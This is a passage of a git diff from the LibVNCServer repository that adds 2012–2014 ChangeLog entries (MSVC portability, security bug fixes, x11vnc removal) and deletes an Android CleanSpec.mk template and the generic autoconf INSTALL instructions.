+ x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/.cp
+ over,
+ x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc
+ viewer.sh,
+ x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.i386/.cpover,
+ x11vnc/misc/enhanced_tightvnc_viewer/bin/sshvnc,
+ x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
+ x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
+ x11vnc/misc/enhanced_tightvnc_viewer/bin/tsvnc,
+ x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
+ x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
+ x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf,
+ x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
+ x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt,
+ x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
+ x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
+ x11vnc/misc/enhanced_tightvnc_viewer/src/README,
+ x11vnc/misc/enhanced_tightvnc_viewer/src/patches/README,
+ x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
+ x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches,
+ x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_vncpatchapplied,
+ x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa
+ tch,
+ x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
+ ll.patch,
+ x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
+ llscreen.patch,
+ x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne
+ wfbsize.patch,
+ x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README,
+ x11vnc/misc/enhanced_tightvnc_viewer/ssvnc.desktop,
+ x11vnc/misc/inet6to4, x11vnc/misc/panner.pl,
+ x11vnc/misc/qt_tslib_inject.pl, x11vnc/misc/ranfb.pl,
+ x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/misc/shm_clear,
+ x11vnc/misc/slide.pl, x11vnc/misc/turbovnc/Makefile.am,
+ x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc,
+ x11vnc/misc/turbovnc/convert,
+ x11vnc/misc/turbovnc/convert_rfbserver,
+ x11vnc/misc/turbovnc/tight.c, x11vnc/misc/turbovnc/turbojpeg.h,
+ x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/misc/uinput.pl,
+ x11vnc/misc/ultravnc_repeater.pl, x11vnc/misc/vcinject.pl,
+ x11vnc/misc/x11vnc_loop, x11vnc/misc/x11vnc_pw, x11vnc/nox11.h,
+ x11vnc/nox11_funcs.h, x11vnc/options.c, x11vnc/options.h,
+ x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h, x11vnc/pointer.c,
+ x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, x11vnc/remote.c,
+ x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c,
+ x11vnc/screen.h, x11vnc/scrollevent_t.h, x11vnc/selection.c,
+ x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h,
+ x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/sslhelper.c,
+ x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc,
+ x11vnc/tkx11vnc.h, x11vnc/uinput.c, x11vnc/uinput.h,
+ x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h,
+ x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/util.c,
+ x11vnc/util.h, x11vnc/v4l.c, x11vnc/v4l.h, x11vnc/win_utils.c,
+ x11vnc/win_utils.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1,
+ x11vnc/x11vnc.c, x11vnc/x11vnc.desktop, x11vnc/x11vnc.h,
+ x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h,
+ x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c,
+ x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h,
+ x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c,
+ x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: Remove
+ x11vnc subdir. The new x11vnc repo is at https://github.com/LibVNC/x11vnc.
+
+2014-09-02 Johannes Schindelin <johannes.schindelin@gmx.de>
+
+ * libvncclient/tls_openssl.c: Fix tv_usec calculation This bug was introduced in the MSVC patches. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * libvncclient/tls_openssl.c: Use Windows' critical sections to
+ emulate pthread's mutexes With Microsoft Visual C++, we cannot use pthreads (MinGW sports an
+ emulation library which is the reason we did not need
+ Windows-specific hacks earlier). Happily, it is very easy to provide
+ Windows-specific emulations for the pthread calls we use. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * libvncclient/zrle.c: Perform pointer arithmetic on char * instead
+ of void * Microsoft Visual C++ does not allow pointer arithmetic on void
+ pointers. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * libvncclient/tls_openssl.c, rfb/rfbproto.h: MSVC: Use the Unix
+ emulation headers [JES: provided commit message, split out unrelated changes] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * libvncclient/listen.c, libvncclient/sockets.c,
+ libvncclient/vncviewer.c: Use WIN32 for Windows-specific #ifdef
+ guards To support Microsoft Visual C++, we must not guard Windows-specific
+ code in MinGW-specific #ifdef guards. Happily, even 64-bit MSVC defines the WIN32 constant, therefore we
+ can use that instead. [JES: fixed commit message, reordered commit, split out unrelated
+ changes] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * compat/msvc/stdint.h, compat/msvc/sys/time.h,
+ compat/msvc/unistd.h: Add MSVC compatible unix headers The stdint.h file was copied from:
+ https://runexe.googlecode.com/svn-history/r9/trunk/src/runlib/msstdint.h(we can incorporate it because it is licensed under the 3-clause BSD
+ license.) [JES: fixed commit message, fixed stripped copyright header] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-09-01 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * libvncclient/rfbproto.c, libvncclient/sockets.c,
+ libvncclient/tls_openssl.c: MSVC: Use _snprintf instead of snprintf In Microsoft's Visual C runtime, the snprintf() function is actually
+ called _snprintf. Let's just #define the former to call the latter. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-09-01 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * rfb/rfbproto.h: Use correct winsock header We link to ws2_32.lib which corresponds to the winsock2.h header,
+ not the winsock.h header. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-08-29 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * libvncclient/vncviewer.c: Include Winsock2 header before windows.h
+ include That's because there are duplicate #defines, and when Winsock2 is
+ defined before windows.h then windows.h detects that and prevent
+ redefinition. See
+
+ http://social.msdn.microsoft.com/Forums/windowsdesktop/en-US/4a90b143-1fb8-43e9-a54c-956127e0c579/windowsh-and-winsock2h?forum=windowssdk[JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-09-01 Daniel Cohen Gindi <danielgindi@gmail.com>
+
+ * libvncclient/tls_openssl.c: Remove unused variables This change is technically not required to support MSVC, but it was
+ detected by Microsoft's compiler. [JES: fixed commit message] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-08-26 dscho <johannes.schindelin@gmx.de>
+
+ * : Merge pull request #21 from newsoft/master Fixing two more security issues (remote server crash)
+
+2014-08-18 Nicolas Ruff <nruff@google.com>
+
+ * libvncserver/rfbserver.c: Check malloc() return value on
+ client->server ClientCutText message. Client can send up to 2**32-1
+ bytes of text, and such a large allocation is likely to fail in case
+ of high memory pressure. This would in a server crash (write at
+ address 0).
+
+2014-08-16 dscho <johannes.schindelin@gmx.de>
+
+ * : Merge pull request #16 from sandsmark/master Merge patches from KDE/krfb
+
+2014-08-16 Johannes Schindelin <johannes.schindelin@gmx.de>
+
+ * acinclude.m4: Fix whitespace Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-08-10 Luca Falavigna <dktrkranz@debian.org>
+
+ * acinclude.m4: Enable support for ppc64el architecture
+
+2014-08-10 Luca Falavigna <dktrkranz@debian.org>
+
+ * libvncclient.pc.in, libvncserver.pc.in: Use Libs.private to avoid
+ unnecessary linkage
+
+2014-08-16 Johannes Schindelin <johannes.schindelin@gmx.de>
+
+ * libvncclient/rfbproto.c, libvncclient/vncviewer.c: Fix indentation Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-08-16 dscho <johannes.schindelin@gmx.de>
+
+ * : Merge pull request #20 from newsoft/master Fix integer overflow in MallocFrameBuffer()
+
+2014-08-15 newsoft <newsoft@MacBook-Air-de-newsoft-2.local>
+
+ * libvncclient/vncviewer.c: Fix integer overflow in
+ MallocFrameBuffer() Promote integers to uint64_t to avoid integer overflow issue during
+ frame buffer allocation for very large screen sizes
+
+2013-09-28 Amandeep Singh <aman.dedman@gmail.com>
+
+ * libvncserver/sockets.c: allow rfbInitSockets with non-ready
+ states. This allows for reinitializations of e. g. sockets in a SHUTDOWN
+ state. The only state that doesn't make sense to reinitialize are
+ READY states.
+
+2013-10-09 Amandeep Singh <aman.dedman@gmail.com>
+
+ * libvncserver/main.c: Fix crash in krfb Krfb crashes on quit, if any client is connected due to a
+ rfbClientConnectionGone call missing
+
+2014-07-10 Will Thompson <will@willthompson.co.uk>
+
+ * x11vnc/xrandr.c: x11vnc: fix double X_UNLOCK on xrandr events check_xrandr_event() assumes X_LOCK is taken before it is called,
+ and currently calls X_UNLOCK on behalf of the caller. But in
+ practice, all callers assume that the lock is still held after
+ check_xrandr_event() returns. In particular, this leads to a
+ double-unlock and crash in check_xevents() on any xrandr event.
+
+2014-07-18 dscho <johannes.schindelin@gmx.de>
+
+ * : Merge pull request #13 from
+ wjt/fix-double-X_UNLOCK-on-xrandr-event x11vnc: fix double X_UNLOCK on xrandr events
+
+2014-06-27 Johannes Schindelin <johannes.schindelin@gmx.de>
+
+ * common/lzoconf.h, common/lzodefs.h, common/minilzo.c,
+ common/minilzo.h: Update LZO to version 2.07 It was reported that LZO has security issues in LMS-2014-06-16-1:
+ Oberhumer LZO (CVE-2014-4607):
+ http://seclists.org/oss-sec/2014/q2/665 This was also reported by Alex Xu as
+ https://github.com/LibVNC/libvncserver/issues/9. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-06-23 dscho <johannes.schindelin@gmx.de>
+
+ * : Merge pull request #7 from waldheinz/init-sfae-padding Initialize padding in SetFormatAndEncodings' rfbSetPixelFormatMsg.
+
+2014-06-23 Matthias Treydte <mt@waldheinz.de>
+
+ * libvncclient/rfbproto.c: Initialize padding in
+ SetFormatAndEncodings' rfbSetPixelFormatMsg.
+
+2014-06-23 Matthias Treydte <mt@waldheinz.de>
+
+ * CMakeLists.txt: Use CMAKE_CURRENT_*_DIR instead of CMAKE_*_DIR. This makes the library friendly to use as a git submodule within
+ another project, and should change nothing when compiled alone. For example when having a directory structure like
+ "my_project/external/libvnc", where in libvnc resides a checkout of
+ libvncserver, one can just reference that directory from the
+ CMakeLists.txt in my_project with > add_directory ( external/libvnc ) and add vncclient / vncserver in my_project's taret_link_libraries,
+ one can just hack away without having to manually make / install
+ LibVNCServer whenever something is changed there.
+
+2014-05-14 dscho <johannes.schindelin@gmx.de>
+
+ * : Merge pull request #4 from dextero/master x11vnc: adjust blackout region coordinates to the clipping region
+
+2014-04-05 Johannes Schindelin <johannes.schindelin@gmx.de>
+
+ * libvncclient/rfbproto.c: libvncclient: If we have TLS support,
+ enable VeNCrypt by default Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-04-05 Johannes Schindelin <johannes.schindelin@gmx.de>
+
+ * .gitignore: Ignore the 'mac' example, too Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-04-05 Johannes Schindelin <johannes.schindelin@gmx.de>
+
+ * .gitignore: Ignore the vencrypt document https://www.berrange.com/~dan/vencrypt.txt Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-04-05 Johannes Schindelin <johannes.schindelin@gmx.de>
+
+ * .gitignore: Ignore rfbproto.rst A more up-to-date version of the RFB protocol is maintained by
+ TigerVNC:
+ http://sourceforge.net/p/tigervnc/code/HEAD/tree/rfbproto/rfbproto.rstSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-03-29 Johannes Schindelin <johannes.schindelin@gmx.de>
+
+ * examples/repeater.c: Repeater example: show how to shut down
+ cleanly Since we connected to the client through the repeater, chances are
+ that we want this server shut down once the client disconnected. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-03-29 Johannes Schindelin <johannes.schindelin@gmx.de>
+
+ * .gitignore, examples/Makefile.am, examples/repeater.c: Add an
+ example how to connect to an UltraVNC-style repeater UltraVNC offers an add-on to connect clients and servers via IDs
+ with a so-called repeater (e.g. to bridge firewalled clients and
+ servers): http://www.uvnc.com/products/uvnc-repeater.html This example demonstrates how to use that feature with a
+ LibVNCServer-based server. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-04-05 Christian Beier <dontmind@freeshell.org>
+
+ * configure.ac, webclients/novnc/README.md,
+ webclients/novnc/vnc.html: Update sourceforge links to point to
+ github.
+
+2014-03-31 Johannes Schindelin <johannes.schindelin@gmx.de>
+
+ * libvncserver/rfbregion.c: Fix tyop Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-03-30 Johannes Schindelin <johannes.schindelin@gmx.de>
+
+ * .gitignore: Ignore more generated files While at it, also ignore the documentation of the RFB protocol best
+ downloaded manually from http://www.realvnc.com/docs/rfbproto.pdf Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-03-30 Robbert Klarenbeek <robbertkl@users.sourceforge.net>
+
+ * libvncclient/vncviewer.c: Address #12 ClientData does not get
+ freed rfbClientSetClientData() allocates a new rfbClientData, but never
+ gets cleaned up, which causes memory leaks. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2014-03-30 Johannes Schindelin <johannes.schindelin@gmx.de>
+
+ * examples/example.c, test/encodingstest.c: After free()ing
+ clientData, set it to NULL We will change rfbClientCleanup() to free the data. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2013-02-27 Joel Martin <github@martintribe.org>
+
+ * libvncserver/websockets.c: Set opcode correctly for binary frames.
+
+2013-01-25 Christian Beier <dontmind@freeshell.org>
+
+ * rfb/rfbproto.h: Remove unneeded #ifdefs.
+
+2013-01-25 Christian Beier <dontmind@freeshell.org>
+
+ * rfb/rfbclient.h: Fix ABI compatibility issue.
+
+2013-01-09 David Verbeiren <david.verbeiren@intel.com>
+
+ * client_examples/gtkvncviewer.c, configure.ac,
+ libvncclient/Makefile.am, libvncclient/h264.c,
+ libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbclient.h,
+ rfb/rfbproto.h: LibVNCClient: Add H.264 encoding for framebuffer
+ updates This patch implements support in LibVNCClient for framebuffer
+ updates encoded as H.264 frames. Hardware accelerated decoding is
+ performed using VA API. This is experimental support to let the community explore the
+ possibilities offered by the potential bandwidth and latency
+ reductions that H.264 encoding allows. This may be particularly
+ useful for use cases such as online gaming, hosted desktops, hosted
+ set top boxes... This patch only provides the client side support and is meant to be
+ used with corresponding server-side support, as provided by an
+ upcoming patch for qemu ui/vnc module (to view the display of a
+ virtual machine executing under QEMU). With this H.264-based encoding, if multiple framebuffer update
+ messages are generated for a single server framebuffer modification,
+ the H.264 frame data is sent only with the first update message.
+ Subsequent update framebuffer messages will contain only the
+ coordinates and size of the additional updated regions. Instructions/Requirements: * The patch should be applied on top of the previous patch I
+ submitted with minor enhancements to the gtkvncviewer application:
+ http://sourceforge.net/mailarchive/message.php?msg_id=30323804 * Currently only works with libva 1.0: use branch "v1.0-branch" for
+ libva and intel-driver. Those can be built as follows: cd libva git checkout v1.0-branch ./autogen.sh make sudo make install cd .. git clone git://anongit.freedesktop.org/vaapi/intel-driver cd intel-driver git checkout v1.0-branch ./autogen.sh make sudo make install Signed-off-by: David Verbeiren <david.verbeiren@intel.com>
+
+2013-01-08 David Verbeiren <david.verbeiren@intel.com>
+
+ * client_examples/gtkvncviewer.c: gtkvncviewer enhancements Hide "Connecting" dialog in gtkvncviewer once an update is received. Hide local cusror in gtkvncviewer.
+
+2012-09-14 Christian Beier <dontmind@freeshell.org>
+
+ * AUTHORS: Add Raphael to AUTHORS.
+
+2012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
+
+ * libvncclient/rfbproto.c: Include strings.h for strncasecmp(3)
+
+2012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
+
+ * libvncserver/websockets.c: Work around a gcc bug with anonymous
+ structs and unions. GCC < 4.6 failed to parse the declaration of ws_header_t correctly
+ because it did not accept anonymous structs and unions. [1] Work around the bug by adding names to the unions and structs. Ugly,
+ but works. [1] http://gcc.gnu.org/bugzilla/show_bug.cgi?id=4784
+
+2012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
+
+ * libvncserver/rfbserver.c: Include stdio.h for snprintf(3)
+
+2012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
+
+ * libvncserver/websockets.c: Add the required headers for read(2)
+
+2012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
+
+ * CMakeLists.txt, configure.ac, libvncserver/websockets.c,
+ rfb/rfbconfig.h.cmake: Use htobeNN(3) to convert numbers in
+ websocket.c. byteswap.h exists only on glibc, so building libvncserver with
+ websockets support was not possible in other systems. Replace the inclusion of byteswap.h and the WS_* definitions with
+ calls to htobeNN, which should perform the same conversions, be more
+ portable and avoid the need to check for the platform's endianness.
+
+2012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
+
+ * CMakeLists.txt, configure.ac: Do not hardcode the need for
+ libresolv. libresolv is only present on systems which use glibc; platforms such
+ as FreeBSD have __b64_ntop as part of libc itself. Improve the detection process and only link against libresolv if it
+ exists on the system, and remember to reset CMAKE_REQUIRED_LIBRARIES
+ after performing the necessary tests, since we do not always want to
+ link against libresolv.
+
+2012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
+
+ * common/vncauth.c, libvncclient/rfbproto.c,
+ libvncclient/sockets.c, libvncserver/httpd.c,
+ libvncserver/rfbserver.c, libvncserver/sockets.c,
+ libvncserver/websockets.c: Tune the definitions needed when building
+ with -ansi. The current definitions were mostly useful to glibc and followed its
+ feature_test_macros(3) documentation. However, this means other platforms still had problems when building
+ with strict compilation flags. _BSD_SOURCE, for example, is only
+ recognized by glibc, and other platforms sometimes need
+ _XOPEN_SOURCE instead, or even the removal of some definitions (such
+ as the outdate _POSIX_SOURCE one). _POSIX_SOURCE also had to be conditionally defined in some places,
+ as what it enables or disables during compilation varies across
+ systems.
+
+2012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
+
+ * libvncserver/sockets.c, libvncserver/websockets.c: Add some
+ missing feature macro definitions. Building with -ansi failed due to some code (as well as system
+ headers) using non-C89 features. Fix that by adding the usual
+ _POSIX_SOURCE and _BSD_SOURCE definitions already present in some
+ other files.
+
+2012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
+
+ * common/turbojpeg.c, libvncserver/tight.c,
+ libvncserver/websockets.c, rfb/rfb.h, rfb/rfbconfig.h.cmake,
+ test/bmp.h: Use C-style comments in rfbconfig.h.cmake and C source
+ code. Using C++-style comments when building the code with -ansi does not
+ work, so be more conservative with the comment style.
+
+2012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
+
+ * libvncserver/websockets.c: Correctly include rfbconfig.h. build_dir/rfb is not passed as an include directory automatically to
+ the compiler, so including that file fails.
+
+2012-09-11 Raphael Kubo da Costa <rakuco@FreeBSD.org>
+
+ * CMakeLists.txt: CMake: Link against libgcrypt when it is found. So far, libgcrypt was looked for but no targets linked against it
+ directly; this caused linking problems for the client and server
+ examples, as the symbols they needed were not passed to the linker. The issue that the GnuTLS websockets code uses libgcrypt regardless
+ of whether it has been found or not has not been touched by this
+ commit, though.
+
+2012-08-19 Christian Beier <dontmind@freeshell.org>
+
+ * webclients/novnc/LICENSE.txt, webclients/novnc/README.md,
+ webclients/novnc/include/base.css,
+ webclients/novnc/include/black.css,
+ webclients/novnc/include/blue.css,
+ webclients/novnc/include/display.js,
+ webclients/novnc/include/input.js,
+ webclients/novnc/include/playback.js,
+ webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
+ webclients/novnc/include/util.js, webclients/novnc/include/vnc.js,
+ webclients/novnc/include/web-socket-js/web_socket.js,
+ webclients/novnc/include/websock.js,
+ webclients/novnc/include/webutil.js, webclients/novnc/vnc.html,
+ webclients/novnc/vnc_auto.html: Update noVNC webclient.
+
+2012-08-19 Christian Beier <dontmind@freeshell.org>
+
+ * AUTHORS: Update AUTHORS.
+
+2012-08-08 Oliver Loch <o.loch@gmx.net>
+
+ * libvncserver/sockets.c: Patched sockets.c to allow the use of IPv6
+ without IPv4. As requested only those lines are indented that have been changed.
+
+2012-07-20 Johannes Schindelin <johannes.schindelin@gmx.de>
+
+ * AUTHORS: Add another contributor Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2012-07-19 Rostislav Lisovy <lisovy@gmail.com>
+
+ * libvncclient/tls_openssl.c: Fix in milliseconds to struct timeval
+ conversion Signed-off-by: Rostislav Lisovy <lisovy@gmail.com> Signed-off-by:
+ Johannes Schindelin <johannes.schindelin@gmx.de>
+
+2012-05-31 Christian Beier <dontmind@freeshell.org>
+
+ * libvncserver/config.h, libvncserver/rfbconfig.h: Remove
+ autogenerated files from repo.
+
+2012-05-23 Christian Beier <dontmind@freeshell.org>
+
+ * CMakeLists.txt, configure.ac, rfb/rfbconfig.h.cmake: Add Compile
+ Time Version Test Defines.
+
+2012-05-18 Kyle J. McKay <mackyle@gmail.com>
+
+ * libvncserver/sockets.c: libvncserver/sockets.c: do not segfault
+ when listenSock/listen6Sock == -1
+
+2012-05-09 Christian Beier <dontmind@freeshell.org>
+
+ * TODO, libvncclient/rfbproto.c, libvncclient/sockets.c,
+ vncterm/LinuxVNC.c: Fix some compiler warnings that hinted some no
+ too unimportant errors.
+
+2012-05-07 Christian Beier <dontmind@freeshell.org>
+
+ * TODO: Update TODO.
+
+2012-05-07 Luca Falavigna <dktrkranz@debian.org>
+
+ * test/encodingstest.c: Encodingstest: Use format string argument
+ with fprintf.
+
+2012-05-05 Christian Beier <dontmind@freeshell.org>
+
+ * CMakeLists.txt, configure.ac: Bump version to 0.9.10.
+
+2012-05-04 Christian Beier <dontmind@freeshell.org>
+
+ * ChangeLog: Update ChangeLog for 0.9.9.
+
2012-05-04 Christian Beier <dontmind@freeshell.org>
* configure.ac: Enable building DLLs with MinGW32.
diff --git a/CleanSpec.mk b/CleanSpec.mk
deleted file mode 100644
index b84e1b6..0000000
--- a/CleanSpec.mk
+++ /dev/null
@@ -1,49 +0,0 @@
-# Copyright (C) 2007 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-# If you don't need to do a full clean build but would like to touch
-# a file or delete some intermediate files, add a clean step to the end
-# of the list. These steps will only be run once, if they haven't been
-# run before.
-#
-# E.g.:
-# $(call add-clean-step, touch -c external/sqlite/sqlite3.h)
-# $(call add-clean-step, rm -rf $(PRODUCT_OUT)/obj/STATIC_LIBRARIES/libz_intermediates)
-#
-# Always use "touch -c" and "rm -f" or "rm -rf" to gracefully deal with
-# files that are missing or have been moved.
-#
-# Use $(PRODUCT_OUT) to get to the "out/target/product/blah/" directory.
-# Use $(OUT_DIR) to refer to the "out" directory.
-#
-# If you need to re-do something that's already mentioned, just copy
-# the command and add it to the bottom of the list. E.g., if a change
-# that you made last week required touching a file and a change you
-# made today requires touching the same file, just copy the old
-# touch step and add it to the end of the list.
-#
-# ************************************************
-# NEWER CLEAN STEPS MUST BE AT THE END OF THE LIST
-# ************************************************
-
-# For example:
-#$(call add-clean-step, rm -rf $(OUT_DIR)/target/common/obj/APPS/AndroidTests_intermediates)
-#$(call add-clean-step, rm -rf $(OUT_DIR)/target/common/obj/JAVA_LIBRARIES/core_intermediates)
-#$(call add-clean-step, find $(OUT_DIR) -type f -name "IGTalkSession*" -print0 | xargs -0 rm -f)
-#$(call add-clean-step, rm -rf $(PRODUCT_OUT)/data/*)
-
-# ************************************************
-# NEWER CLEAN STEPS MUST BE AT THE END OF THE LIST
-# ************************************************
diff --git a/INSTALL b/INSTALL
deleted file mode 100644
index b42a17a..0000000
--- a/INSTALL
+++ /dev/null
@@ -1,182 +0,0 @@
-Basic Installation
-==================
-
- These are generic installation instructions.
-
- The `configure' shell script attempts to guess correct values for
-various system-dependent variables used during compilation. It uses
-those values to create a `Makefile' in each directory of the package.
-It may also create one or more `.h' files containing system-dependent
-definitions. Finally, it creates a shell script `config.status' that
-you can run in the future to recreate the current configuration, a file
-`config.cache' that saves the results of its tests to speed up
-reconfiguring, and a file `config.log' containing compiler output
-(useful mainly for debugging `configure').
-
- If you need to do unusual things to compile the package, please try
-to figure out how `configure' could check whether to do them, and mail
-diffs or instructions to the address given in the `README' so they can
-be considered for the next release. If at some point `config.cache'
-contains results you don't want to keep, you may remove or edit it.
-
- The file `configure.in' is used to create `configure' by a program
-called `autoconf'. You only need `configure.in' if you want to change
-it or regenerate `configure' using a newer version of `autoconf'.
-
-The simplest way to compile this package is:
-
- 1. `cd' to the directory containing the package's source code and type
- `./configure' to configure the package for your system. If you're
- using `csh' on an old version of System V, you might need to type
- `sh ./configure' instead to prevent `csh' from trying to execute
- `configure' itself.
-
- Running `configure' takes awhile. While running, it prints some
- messages telling which features it is checking for.
-
- 2. Type `make' to compile the package.
-
- 3. Optionally, type `make check' to run any self-tests that come with
- the package.
-
- 4. Type `make install' to install the programs and any data files and
- documentation.
-
- 5. You can remove the program binaries and object files from the
- source code directory by typing `make clean'. To also remove the
- files that `configure' created (so you can compile the package for
- a different kind of computer), type `make distclean'. There is
- also a `make maintainer-clean' target, but that is intended mainly
- for the package's developers. If you use it, you may have to get
- all sorts of other programs in order to regenerate files that came
- with the distribution.
-
-Compilers and Options
-=====================
-
- Some systems require unusual options for compilation or linking that
-the `configure' script does not know about. You can give `configure'
-initial values for variables by setting them in the environment. Using
-a Bourne-compatible shell, you can do that on the command line like
-this:
- CC=c89 CFLAGS=-O2 LIBS=-lposix ./configure
-
-Or on systems that have the `env' program, you can do it like this:
- env CPPFLAGS=-I/usr/local/include LDFLAGS=-s ./configure
-
-Compiling For Multiple Architectures
-====================================
-
- You can compile the package for more than one kind of computer at the
-same time, by placing the object files for each architecture in their
-own directory. To do this, you must use a version of `make' that
-supports the `VPATH' variable, such as GNU `make'. `cd' to the
-directory where you want the object files and executables to go and run
-the `configure' script. `configure' automatically checks for the
-source code in the directory that `configure' is in and in `..'.
-
- If you have to use a `make' that does not supports the `VPATH'
-variable, you have to compile the package for one architecture at a time
-in the source code directory. After you have installed the package for
-one architecture, use `make distclean' before reconfiguring for another
-architecture.
-
-Installation Names
-==================
-
- By default, `make install' will install the package's files in
-`/usr/local/bin', `/usr/local/man', etc. You can specify an
-installation prefix other than `/usr/local' by giving `configure' the
-option `--prefix=PATH'.
-
- You can specify separate installation prefixes for
-architecture-specific files and architecture-independent files. If you
-give `configure' the option `--exec-prefix=PATH', the package will use
-PATH as the prefix for installing programs and libraries.
-Documentation and other data files will still use the regular prefix.
-
- In addition, if you use an unusual directory layout you can give
-options like `--bindir=PATH' to specify different values for particular
-kinds of files. Run `configure --help' for a list of the directories
-you can set and what kinds of files go in them.
-
- If the package supports it, you can cause programs to be installed
-with an extra prefix or suffix on their names by giving `configure' the
-option `--program-prefix=PREFIX' or `--program-suffix=SUFFIX'.
-
-Optional Features
-=================
-
- Some packages pay attention to `--enable-FEATURE' options to
-`configure', where FEATURE indicates an optional part of the package.
-They may also pay attention to `--with-PACKAGE' options, where PACKAGE
-is something like `gnu-as' or `x' (for the X Window System). The
-`README' should mention any `--enable-' and `--with-' options that the
-package recognizes.
-
- For packages that use the X Window System, `configure' can usually
-find the X include and library files automatically, but if it doesn't,
-you can use the `configure' options `--x-includes=DIR' and
